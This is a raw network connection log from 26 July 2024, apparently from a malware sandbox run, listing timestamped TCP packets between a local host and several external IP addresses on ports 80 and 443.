Jul 26, 2024 13:49:19.710649014 CEST	59034	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:19.710668087 CEST	443	59034	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:19.764364958 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.764624119 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.769808054 CEST	80	59035	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:19.769891024 CEST	80	59024	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:19.771836042 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.786470890 CEST	59024	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.789277077 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:19.794487000 CEST	80	59035	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:20.047482967 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.047887087 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.047919035 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.049365044 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.049523115 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.108686924 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.108838081 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.108865976 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.152499914 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.169675112 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.169687986 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.203294992 CEST	443	59034	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:20.204427004 CEST	59034	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:20.230451107 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.230474949 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.230515957 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.230535030 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.230556011 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.238344908 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.238379002 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.238421917 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.239264965 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.253046036 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.260205984 CEST	59034	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:20.260298014 CEST	443	59034	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:20.260337114 CEST	59034	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:20.260850906 CEST	443	59034	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:20.269598961 CEST	59034	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:20.305468082 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.316510916 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.316560030 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.318279028 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.318299055 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.318336964 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.318351030 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.318358898 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.318382978 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.324146986 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.324165106 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.324525118 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.324534893 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.324543953 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.327167034 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.327173948 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.327208042 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.327256918 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.334431887 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.334786892 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.336155891 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.336185932 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.337143898 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.339212894 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.380522013 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.408512115 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.408545017 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.408636093 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.408663988 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.408777952 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.408796072 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.408835888 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.412866116 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.412887096 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.413031101 CEST	443	59032	13.107.246.60	192.168.2.6
Jul 26, 2024 13:49:20.414530039 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.415616989 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:20.551713943 CEST	80	59035	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:20.555023909 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:20.582035065 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.582228899 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.596504927 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.597477913 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:20.597687006 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.603399038 CEST	80	59035	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:20.622960091 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.623013020 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.623048067 CEST	59033	443	192.168.2.6	184.28.90.27
Jul 26, 2024 13:49:20.623066902 CEST	443	59033	184.28.90.27	192.168.2.6
Jul 26, 2024 13:49:20.864464045 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:20.869925022 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:20.870285034 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:20.870465994 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:20.875368118 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:20.908440113 CEST	80	59035	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:20.919903040 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.070003033 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.070154905 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.075735092 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:21.076422930 CEST	80	59035	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:21.076739073 CEST	59035	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.076739073 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.103612900 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.109172106 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:21.332696915 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:21.474529028 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:21.479531050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:21.502804041 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:21.741182089 CEST	59032	443	192.168.2.6	13.107.246.60
Jul 26, 2024 13:49:21.778492928 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:21.783641100 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:21.783889055 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:21.784054041 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:21.790731907 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:21.925391912 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:21.930478096 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:21.931196928 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.199079037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:22.199230909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:22.200643063 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:22.200776100 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.201903105 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:22.250591040 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:22.415527105 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:22.455735922 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:22.465740919 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.618767977 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.619168043 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.624203920 CEST	80	59039	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:22.624274969 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.624411106 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.624782085 CEST	80	59037	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:22.624831915 CEST	59037	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:22.629425049 CEST	80	59039	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.067914963 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.073004007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.243016958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.243150949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.243163109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.243715048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.243727922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.244524956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.244535923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.245400906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.245724916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.245737076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.246514082 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.246896029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.246908903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.247489929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.249289036 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.330888033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.331058025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.331070900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.331442118 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.331849098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.331860065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.332237005 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.332664013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.332675934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.333575964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.333579063 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.333587885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.334451914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.334464073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.335350990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.335362911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.336250067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.336262941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.336272001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.337135077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.337147951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.338040113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.338052034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.338753939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.338768005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.339559078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.339570999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.341356993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.341356993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.387991905 CEST	80	59039	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.395096064 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.418553114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.418992043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.419004917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.420140028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.420154095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.421260118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.421272993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.422311068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.422323942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.423460960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.423475027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.423485041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.424468994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.424489021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.425410032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.425707102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.425719023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.426753998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.426767111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.427328110 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.427839041 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.428368092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428380966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428390026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428596020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428620100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428875923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428889036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428952932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.428966045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.429070950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.429095030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.429779053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.429790974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.429800034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.430464029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.430475950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.431180954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.431193113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.431874990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.431886911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.432588100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.432600021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.432609081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.433290005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.433303118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.433994055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.434005022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.434082985 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.434690952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.434704065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.435451031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.436073065 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.436310053 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.436310053 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.447139978 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.452038050 CEST	80	59039	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.505168915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.505366087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.505377054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.505516052 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.505875111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.505886078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.506628990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.506639957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.507441044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.507452011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.507553101 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.508968115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.508980989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.509084940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.509097099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.509107113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.509318113 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.509915113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.509927034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.510066986 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.510736942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.510749102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.511593103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.511605024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.512409925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.512422085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.512432098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.513221979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.513233900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.513988018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.513998985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.514827967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.514838934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.515592098 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.515647888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.515659094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.515670061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.515734911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.515734911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.516477108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.516498089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.516920090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.517268896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.517280102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.517677069 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.518080950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.518093109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.518893003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.518906116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.519699097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.519711018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.519721031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.520493031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.520503044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.521270990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.521270990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.521282911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.521295071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.521564007 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.522125006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.522136927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.522753000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.522763968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.522773981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.522784948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.523639917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.523652077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.523662090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.524677992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.524688959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.524698019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.525515079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.525526047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.525535107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.525546074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.525985956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.526465893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.526477098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.526488066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.527365923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.527378082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.532095909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.532150984 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.532150984 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.592207909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.592295885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.592309952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.592885971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.593022108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.593353033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.593364954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.593375921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.594274998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.594289064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.594300032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.595581055 CEST	80	59020	85.28.47.31	192.168.2.6
